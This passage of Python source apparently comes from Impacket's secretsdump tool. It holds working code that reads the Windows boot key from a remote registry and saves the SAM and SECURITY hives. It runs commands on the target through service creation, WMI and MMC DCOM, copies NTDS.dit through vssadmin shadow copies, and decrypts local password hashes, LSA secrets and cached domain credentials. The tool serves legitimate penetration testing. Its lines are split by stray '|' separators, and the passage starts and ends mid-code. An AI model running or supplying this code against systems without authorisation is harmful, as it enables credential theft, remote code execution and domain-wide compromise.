scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
|
|
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
|
|
rpc.disconnect()
|
|
except Exception as e:
|
|
# If service is stopped it'll trigger an exception
|
|
# If service does not exist it'll trigger an exception
|
|
# So. we just wanna be sure we delete it, no need to
|
|
# show this exception message
|
|
pass
|
|
|
|
def finish(self):
|
|
self.__restore()
|
|
if self.__rrp is not None:
|
|
self.__rrp.disconnect()
|
|
if self.__drsr is not None:
|
|
self.__drsr.disconnect()
|
|
if self.__samr is not None:
|
|
self.__samr.disconnect()
|
|
if self.__scmr is not None:
|
|
try:
|
|
self.__scmr.disconnect()
|
|
except Exception as e:
|
|
if str(e).find('STATUS_INVALID_PARAMETER') >=0:
|
|
pass
|
|
else:
|
|
raise
|
|
|
|
def getBootKey(self):
|
|
bootKey = b''
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
self.__regHandle = ans['phKey']
|
|
for key in ['JD','Skew1','GBG','Data']:
|
|
LOG.debug('Retrieving class info for %s'% key)
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
|
|
keyHandle = ans['phkResult']
|
|
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
|
|
bootKey = bootKey + b(ans['lpClassOut'][:-1])
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
|
|
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
|
|
|
bootKey = unhexlify(bootKey)
|
|
|
|
for i in range(len(bootKey)):
|
|
self.__bootKey += bootKey[transforms[i]:transforms[i]+1]
|
|
|
|
LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))
|
|
|
|
return self.__bootKey
|
|
|
|
def checkNoLMHashPolicy(self):
|
|
LOG.debug('Checking NoLMHash Policy')
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
self.__regHandle = ans['phKey']
|
|
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
|
|
keyHandle = ans['phkResult']
|
|
try:
|
|
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
|
|
except:
|
|
noLMHash = 0
|
|
|
|
if noLMHash != 1:
|
|
LOG.debug('LMHashes are being stored')
|
|
return False
|
|
|
|
LOG.debug('LMHashes are NOT being stored')
|
|
return True
|
|
|
|
def __retrieveHive(self, hiveName):
|
|
tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
regHandle = ans['phKey']
|
|
try:
|
|
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
|
|
except:
|
|
raise Exception("Can't open %s hive" % hiveName)
|
|
keyHandle = ans['phkResult']
|
|
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
# Now let's open the remote file, so it can be read later
|
|
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
|
|
return remoteFileName
|
|
|
|
def saveSAM(self):
|
|
LOG.debug('Saving remote SAM database')
|
|
return self.__retrieveHive('SAM')
|
|
|
|
def saveSECURITY(self):
|
|
LOG.debug('Saving remote SECURITY database')
|
|
return self.__retrieveHive('SECURITY')
|
|
|
|
def __smbExec(self, command):
|
|
self.__serviceDeleted = False
|
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
|
|
lpBinaryPathName=command)
|
|
service = resp['lpServiceHandle']
|
|
try:
|
|
scmr.hRStartServiceW(self.__scmr, service)
|
|
except:
|
|
pass
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
self.__serviceDeleted = True
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
|
|
def __getInterface(self, interface, resp):
|
|
# Now let's parse the answer and build an Interface instance
|
|
objRefType = OBJREF(b''.join(resp))['flags']
|
|
objRef = None
|
|
if objRefType == FLAGS_OBJREF_CUSTOM:
|
|
objRef = OBJREF_CUSTOM(b''.join(resp))
|
|
elif objRefType == FLAGS_OBJREF_HANDLER:
|
|
objRef = OBJREF_HANDLER(b''.join(resp))
|
|
elif objRefType == FLAGS_OBJREF_STANDARD:
|
|
objRef = OBJREF_STANDARD(b''.join(resp))
|
|
elif objRefType == FLAGS_OBJREF_EXTENDED:
|
|
objRef = OBJREF_EXTENDED(b''.join(resp))
|
|
else:
|
|
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
|
|
|
|
return IRemUnknown2(
|
|
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
|
|
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
|
|
target=interface.get_target()))
|
|
|
|
def __mmcExec(self,command):
|
|
command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')
|
|
username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
|
|
dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
|
|
oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
|
|
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
|
|
iMMC = IDispatch(iInterface)
|
|
|
|
resp = iMMC.GetIDsOfNames(('Document',))
|
|
|
|
dispParams = DISPPARAMS(None, False)
|
|
dispParams['rgvarg'] = NULL
|
|
dispParams['rgdispidNamedArgs'] = NULL
|
|
dispParams['cArgs'] = 0
|
|
dispParams['cNamedArgs'] = 0
|
|
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
|
|
|
iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
|
resp = iDocument.GetIDsOfNames(('ActiveView',))
|
|
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
|
|
|
|
iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
|
|
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
|
|
|
|
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
|
|
|
|
dispParams = DISPPARAMS(None, False)
|
|
dispParams['rgdispidNamedArgs'] = NULL
|
|
dispParams['cArgs'] = 4
|
|
dispParams['cNamedArgs'] = 0
|
|
arg0 = VARIANT(None, False)
|
|
arg0['clSize'] = 5
|
|
arg0['vt'] = VARENUM.VT_BSTR
|
|
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'
|
|
|
|
arg1 = VARIANT(None, False)
|
|
arg1['clSize'] = 5
|
|
arg1['vt'] = VARENUM.VT_BSTR
|
|
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'
|
|
|
|
arg2 = VARIANT(None, False)
|
|
arg2['clSize'] = 5
|
|
arg2['vt'] = VARENUM.VT_BSTR
|
|
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]
|
|
|
|
arg3 = VARIANT(None, False)
|
|
arg3['clSize'] = 5
|
|
arg3['vt'] = VARENUM.VT_BSTR
|
|
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
|
|
arg3['_varUnion']['bstrVal']['asData'] = '7'
|
|
dispParams['rgvarg'].append(arg3)
|
|
dispParams['rgvarg'].append(arg2)
|
|
dispParams['rgvarg'].append(arg1)
|
|
dispParams['rgvarg'].append(arg0)
|
|
|
|
iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
|
|
|
|
dispParams = DISPPARAMS(None, False)
|
|
dispParams['rgvarg'] = NULL
|
|
dispParams['rgdispidNamedArgs'] = NULL
|
|
dispParams['cArgs'] = 0
|
|
dispParams['cNamedArgs'] = 0
|
|
|
|
iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
|
|
|
|
|
|
def __wmiExec(self, command):
|
|
# Convert command to wmi exec friendly format
|
|
command = command.replace('%COMSPEC%', 'cmd.exe')
|
|
username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
|
|
dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
|
|
oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
|
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
|
iWbemLevel1Login.RemRelease()
|
|
|
|
win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
|
win32Process.Create(command, '\\', None)
|
|
|
|
dcom.disconnect()
|
|
|
|
def __executeRemote(self, data):
|
|
self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
|
|
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
|
|
self.__shell + self.__batchFile
|
|
command += ' & ' + 'del ' + self.__batchFile
|
|
|
|
LOG.debug('ExecuteRemote command: %s' % command)
|
|
if self.__execMethod == 'smbexec':
|
|
self.__smbExec(command)
|
|
elif self.__execMethod == 'wmiexec':
|
|
self.__wmiExec(command)
|
|
elif self.__execMethod == 'mmcexec':
|
|
self.__mmcExec(command)
|
|
else:
|
|
raise Exception('Invalid exec method %s, aborting' % self.__execMethod)
|
|
|
|
|
|
def __answer(self, data):
|
|
self.__answerTMP += data
|
|
|
|
def __getLastVSS(self):
|
|
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
|
|
time.sleep(5)
|
|
tries = 0
|
|
while True:
|
|
try:
|
|
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
|
|
break
|
|
except Exception as e:
|
|
if tries > 30:
|
|
# We give up
|
|
raise Exception('Too many tries trying to list vss shadows')
|
|
if str(e).find('SHARING') > 0:
|
|
# Stuff didn't finish yet.. wait more
|
|
time.sleep(5)
|
|
tries +=1
|
|
pass
|
|
else:
|
|
raise
|
|
|
|
lines = self.__answerTMP.split(b'\n')
|
|
lastShadow = b''
|
|
lastShadowFor = b''
|
|
|
|
# Let's find the last one
|
|
# The string used to search the shadow for drive. Wondering what happens
|
|
# in other languages
|
|
SHADOWFOR = b'Volume: ('
|
|
|
|
for line in lines:
|
|
if line.find(b'GLOBALROOT') > 0:
|
|
lastShadow = line[line.find(b'\\\\?'):][:-1]
|
|
elif line.find(SHADOWFOR) > 0:
|
|
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
|
|
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
|
|
return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8')
|
|
|
|
def saveNTDS(self):
|
|
LOG.info('Searching for NTDS.dit')
|
|
# First of all, let's try to read the target NTDS.dit registry entry
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
regHandle = ans['phKey']
|
|
try:
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
|
|
keyHandle = ans['phkResult']
|
|
except:
|
|
# Can't open the registry path, assuming no NTDS on the other end
|
|
return None
|
|
|
|
try:
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
|
|
ntdsLocation = dataValue[:-1]
|
|
ntdsDrive = ntdsLocation[:2]
|
|
except:
|
|
# Can't open the registry path, assuming no NTDS on the other end
|
|
return None
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
|
|
LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
|
|
LOG.info('Using %s method for remote execution' % self.__execMethod)
|
|
# Get the list of remote shadows
|
|
shadow, shadowFor = self.__getLastVSS()
|
|
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
|
|
# No shadow, create one
|
|
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
|
|
shadow, shadowFor = self.__getLastVSS()
|
|
shouldRemove = True
|
|
if shadow == '':
|
|
raise Exception('Could not get a VSS')
|
|
else:
|
|
shouldRemove = False
|
|
|
|
# Now copy the ntds.dit to the temp directory
|
|
tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
|
|
|
|
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
|
|
|
|
if shouldRemove is True:
|
|
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
|
|
|
|
tries = 0
|
|
while True:
|
|
try:
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
break
|
|
except Exception as e:
|
|
if tries >= 30:
|
|
raise e
|
|
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
|
tries += 1
|
|
time.sleep(5)
|
|
pass
|
|
else:
|
|
logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))
|
|
pass
|
|
|
|
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
|
|
|
|
return remoteFileName
|
|
|
|
class CryptoCommon:
|
|
# Common crypto stuff used over different classes
|
|
def deriveKey(self, baseKey):
|
|
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
|
|
# Let I be the little-endian, unsigned integer.
|
|
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
|
|
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
|
|
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
|
|
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
|
|
key = pack('<L',baseKey)
|
|
key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
|
|
key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
|
|
if PY2:
|
|
return transformKey(b''.join(key1)),transformKey(b''.join(key2))
|
|
else:
|
|
return transformKey(bytes(key1)),transformKey(bytes(key2))
|
|
|
|
@staticmethod
|
|
def decryptAES(key, value, iv=b'\x00'*16):
|
|
plainText = b''
|
|
if iv != b'\x00'*16:
|
|
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
|
|
|
for index in range(0, len(value), 16):
|
|
if iv == b'\x00'*16:
|
|
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
|
cipherBuffer = value[index:index+16]
|
|
# Pad buffer to 16 bytes
|
|
if len(cipherBuffer) < 16:
|
|
cipherBuffer += b'\x00' * (16-len(cipherBuffer))
|
|
plainText += aes256.decrypt(cipherBuffer)
|
|
|
|
return plainText
|
|
|
|
class OfflineRegistry:
|
|
def __init__(self, hiveFile = None, isRemote = False):
|
|
self.__hiveFile = hiveFile
|
|
if self.__hiveFile is not None:
|
|
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
|
|
|
|
def enumKey(self, searchKey):
|
|
parentKey = self.__registryHive.findKey(searchKey)
|
|
|
|
if parentKey is None:
|
|
return
|
|
|
|
keys = self.__registryHive.enumKey(parentKey)
|
|
|
|
return keys
|
|
|
|
def enumValues(self, searchKey):
|
|
key = self.__registryHive.findKey(searchKey)
|
|
|
|
if key is None:
|
|
return
|
|
|
|
values = self.__registryHive.enumValues(key)
|
|
|
|
return values
|
|
|
|
def getValue(self, keyValue):
|
|
value = self.__registryHive.getValue(keyValue)
|
|
|
|
if value is None:
|
|
return
|
|
|
|
return value
|
|
|
|
def getClass(self, className):
|
|
value = self.__registryHive.getClass(className)
|
|
|
|
if value is None:
|
|
return
|
|
|
|
return value
|
|
|
|
def finish(self):
|
|
if self.__hiveFile is not None:
|
|
# Remove temp file and whatever else is needed
|
|
self.__registryHive.close()
|
|
|
|
class SAMHashes(OfflineRegistry):
|
|
def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):
|
|
OfflineRegistry.__init__(self, samFile, isRemote)
|
|
self.__samFile = samFile
|
|
self.__hashedBootKey = b''
|
|
self.__bootKey = bootKey
|
|
self.__cryptoCommon = CryptoCommon()
|
|
self.__itemsFound = {}
|
|
self.__perSecretCallback = perSecretCallback
|
|
|
|
def MD5(self, data):
|
|
md5 = hashlib.new('md5')
|
|
md5.update(data)
|
|
return md5.digest()
|
|
|
|
def getHBootKey(self):
|
|
LOG.debug('Calculating HashedBootKey from SAM')
|
|
QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
|
DIGITS = b"0123456789012345678901234567890123456789\0"
|
|
|
|
F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]
|
|
|
|
domainData = DOMAIN_ACCOUNT_F(F)
|
|
|
|
if domainData['Key0'][0:1] == b'\x01':
|
|
samKeyData = SAM_KEY_DATA(domainData['Key0'])
|
|
|
|
rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)
|
|
rc4 = ARC4.new(rc4Key)
|
|
self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])
|
|
|
|
# Verify key with checksum
|
|
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
|
|
|
|
if checkSum != self.__hashedBootKey[16:]:
|
|
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
|
|
|
|
elif domainData['Key0'][0:1] == b'\x02':
|
|
# This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
|
|
samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])
|
|
|
|
self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,
|
|
samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])
|
|
|
|
def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):
|
|
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
|
|
# plus hashedBootKey stuff
|
|
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
|
|
|
|
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
|
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
|
|
|
if newStyle is False:
|
|
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
|
|
rc4 = ARC4.new(rc4Key)
|
|
key = rc4.encrypt(cryptedHash['Hash'])
|
|
else:
|
|
key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]
|
|
|
|
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
|
|
|
|
return decryptedHash
|
|
|
|
def dump(self):
|
|
NTPASSWORD = b"NTPASSWORD\0"
|
|
LMPASSWORD = b"LMPASSWORD\0"
|
|
|
|
if self.__samFile is None:
|
|
# No SAM file provided
|
|
return
|
|
|
|
LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
|
|
self.getHBootKey()
|
|
|
|
usersKey = 'SAM\\Domains\\Account\\Users'
|
|
|
|
# Enumerate all the RIDs
|
|
rids = self.enumKey(usersKey)
|
|
# Remove the Names item
|
|
try:
|
|
rids.remove('Names')
|
|
except:
|
|
pass
|
|
|
|
for rid in rids:
|
|
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
|
|
rid = int(rid,16)
|
|
|
|
V = userAccount['Data']
|
|
|
|
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
|
|
|
|
if userAccount['NTHashLength'] == 0:
|
|
logging.error('SAM hashes extraction for user %s failed. The account doesn\'t have hash information.' % userName)
|
|
continue
|
|
|
|
encNTHash = b''
|
|
if V[userAccount['NTHashOffset']:][2:3] == b'\x01':
|
|
# Old Style hashes
|
|
newStyle = False
|
|
if userAccount['LMHashLength'] == 20:
|
|
encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
|
|
if userAccount['NTHashLength'] == 20:
|
|
encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
|
|
else:
|
|
# New Style hashes
|
|
newStyle = True
|
|
if userAccount['LMHashLength'] == 24:
|
|
encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
|
|
encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
|
|
|
|
LOG.debug('NewStyle hashes is: %s' % newStyle)
|
|
if userAccount['LMHashLength'] >= 20:
|
|
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
|
|
else:
|
|
lmHash = b''
|
|
|
|
if encNTHash != b'':
|
|
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
|
|
else:
|
|
ntHash = b''
|
|
|
|
if lmHash == b'':
|
|
lmHash = ntlm.LMOWFv1('','')
|
|
if ntHash == b'':
|
|
ntHash = ntlm.NTOWFv1('','')
|
|
|
|
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))
|
|
self.__itemsFound[rid] = answer
|
|
self.__perSecretCallback(answer)
|
|
|
|
def export(self, baseFileName, openFileFunc = None):
|
|
if len(self.__itemsFound) > 0:
|
|
items = sorted(self.__itemsFound)
|
|
fileName = baseFileName+'.sam'
|
|
fd = openFile(fileName, openFileFunc=openFileFunc)
|
|
for item in items:
|
|
fd.write(self.__itemsFound[item]+'\n')
|
|
fd.close()
|
|
return fileName
|
|
|
|
class LSASecrets(OfflineRegistry):
|
|
UNKNOWN_USER = '(Unknown User)'
|
|
class SECRET_TYPE:
|
|
LSA = 0
|
|
LSA_HASHED = 1
|
|
LSA_RAW = 2
|
|
LSA_KERBEROS = 3
|
|
|
|
def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,
|
|
perSecretCallback=lambda secretType, secret: _print_helper(secret)):
|
|
OfflineRegistry.__init__(self, securityFile, isRemote)
|
|
self.__hashedBootKey = b''
|
|
self.__bootKey = bootKey
|
|
self.__LSAKey = b''
|
|
self.__NKLMKey = b''
|
|
self.__vistaStyle = True
|
|
self.__cryptoCommon = CryptoCommon()
|
|
self.__securityFile = securityFile
|
|
self.__remoteOps = remoteOps
|
|
self.__cachedItems = []
|
|
self.__secretItems = []
|
|
self.__perSecretCallback = perSecretCallback
|
|
self.__history = history
|
|
|
|
def MD5(self, data):
|
|
md5 = hashlib.new('md5')
|
|
md5.update(data)
|
|
return md5.digest()
|
|
|
|
def __sha256(self, key, value, rounds=1000):
|
|
sha = hashlib.sha256()
|
|
sha.update(key)
|
|
for i in range(1000):
|
|
sha.update(value)
|
|
return sha.digest()
|
|
|
|
def __decryptSecret(self, key, value):
|
|
# [MS-LSAD] Section 5.1.2
|
|
plainText = ''
|
|
|
|
encryptedSecretSize = unpack('<I', value[:4])[0]
|
|
value = value[len(value)-encryptedSecretSize:]
|
|
|
|
key0 = key
|
|
for i in range(0, len(value), 8):
|
|
cipherText = value[:8]
|
|
tmpStrKey = key0[:7]
|
|
tmpKey = transformKey(tmpStrKey)
|
|
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
|
|
plainText += Crypt1.decrypt(cipherText)
|
|
key0 = key0[7:]
|
|
value = value[8:]
|
|
# AdvanceKey
|
|
if len(key0) < 7:
|
|
key0 = key[len(key0):]
|
|
|
|
secret = LSA_SECRET_XP(plainText)
|
|
return secret['Secret']
|
|
|
|
def __decryptHash(self, key, value, iv):
|
|
hmac_md5 = HMAC.new(key,iv,digestmod=hashlib.md5)
|
|
rc4key = hmac_md5.digest()
|
|
|
|
rc4 = ARC4.new(rc4key)
|
|
data = rc4.encrypt(value)
|
|
return data
|
|
|
|
def __decryptLSA(self, value):
|
|
if self.__vistaStyle is True:
|
|
# ToDo: There could be more than one LSA Keys
|
|
record = LSA_SECRET(value)
|
|
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
|
|
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
record = LSA_SECRET_BLOB(plainText)
|
|
self.__LSAKey = record['Secret'][52:][:32]
|
|
|
|
else:
|
|
md5 = hashlib.new('md5')
|
|
md5.update(self.__bootKey)
|
|
for i in range(1000):
|
|
md5.update(value[60:76])
|
|
tmpKey = md5.digest()
|
|
rc4 = ARC4.new(tmpKey)
|
|
plainText = rc4.decrypt(value[12:60])
|
|
self.__LSAKey = plainText[0x10:0x20]
|
|
|
|
def __getLSASecretKey(self):
|
|
LOG.debug('Decrypting LSA Key')
|
|
# Let's try the key post XP
|
|
value = self.getValue('\\Policy\\PolEKList\\default')
|
|
if value is None:
|
|
LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')
|
|
# Second chance
|
|
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
|
|
self.__vistaStyle = False
|
|
if value is None:
|
|
# No way :(
|
|
return None
|
|
|
|
self.__decryptLSA(value[1])
|
|
|
|
def __getNLKMSecret(self):
|
|
LOG.debug('Decrypting NL$KM')
|
|
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
|
|
if value is None:
|
|
raise Exception("Couldn't get NL$KM value")
|
|
if self.__vistaStyle is True:
|
|
record = LSA_SECRET(value[1])
|
|
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
|
self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
else:
|
|
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
|
|
|
|
def __pad(self, data):
|
|
if (data & 0x3) > 0:
|
|
return data + (data & 0x3)
|
|
else:
|
|
return data
|
|
|
|
def dumpCachedHashes(self):
|
|
if self.__securityFile is None:
|
|
# No SECURITY file provided
|
|
return
|
|
|
|
LOG.info('Dumping cached domain logon information (domain/username:hash)')
|
|
|
|
# Let's first see if there are cached entries
|
|
values = self.enumValues('\\Cache')
|
|
if values is None:
|
|
# No cache entries
|
|
return
|
|
try:
|
|
# Remove unnecessary value
|
|
values.remove(b'NL$Control')
|
|
except:
|
|
pass
|
|
|
|
iterationCount = 10240
|
|
|
|
if b'NL$IterationCount' in values:
|
|
values.remove(b'NL$IterationCount')
|
|
|
|
record = self.getValue('\\Cache\\NL$IterationCount')[1]
|
|
if record > 10240:
|
|
iterationCount = record & 0xfffffc00
|
|
else:
|
|
iterationCount = record * 1024
|
|
|
|
self.__getLSASecretKey()
|
|
self.__getNLKMSecret()
|
|
|
|
for value in values:
|
|
LOG.debug('Looking into %s' % value.decode('utf-8'))
|
|
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])
|
|
if record['IV'] != 16 * b'\x00':
|
|
#if record['UserLength'] > 0:
|
|
if record['Flags'] & 1 == 1:
|
|
# Encrypted
|
|
if self.__vistaStyle is True:
|
|
plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])
|
|
else:
|
|
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])
|
|
pass
|
|
else:
|
|
# Plain! Until we figure out what this is, we skip it
|
|
#plainText = record['EncryptedData']
|
|
continue
|
|
encHash = plainText[:0x10]
|
|
plainText = plainText[0x48:]
|
|
userName = plainText[:record['UserLength']].decode('utf-16le')
|
|
plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]
|
|
domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')
|
|
|
|
if self.__vistaStyle is True:
|
|
answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'))
|
|
else:
|
|
answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName)
|
|
|
|
self.__cachedItems.append(answer)
|
|
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)
|
|
|
|
def __printSecret(self, name, secretItem):
|
|
# Based on [MS-LSAD] section 3.1.1.4
|
|
|
|
# First off, let's discard NULL secrets.
|
|
if len(secretItem) == 0:
|
|
LOG.debug('Discarding secret %s, NULL Data' % name)
|
|
return
|
|
|
|
# We might have secrets with zero
|
|
if secretItem.startswith(b'\x00\x00'):
|
|
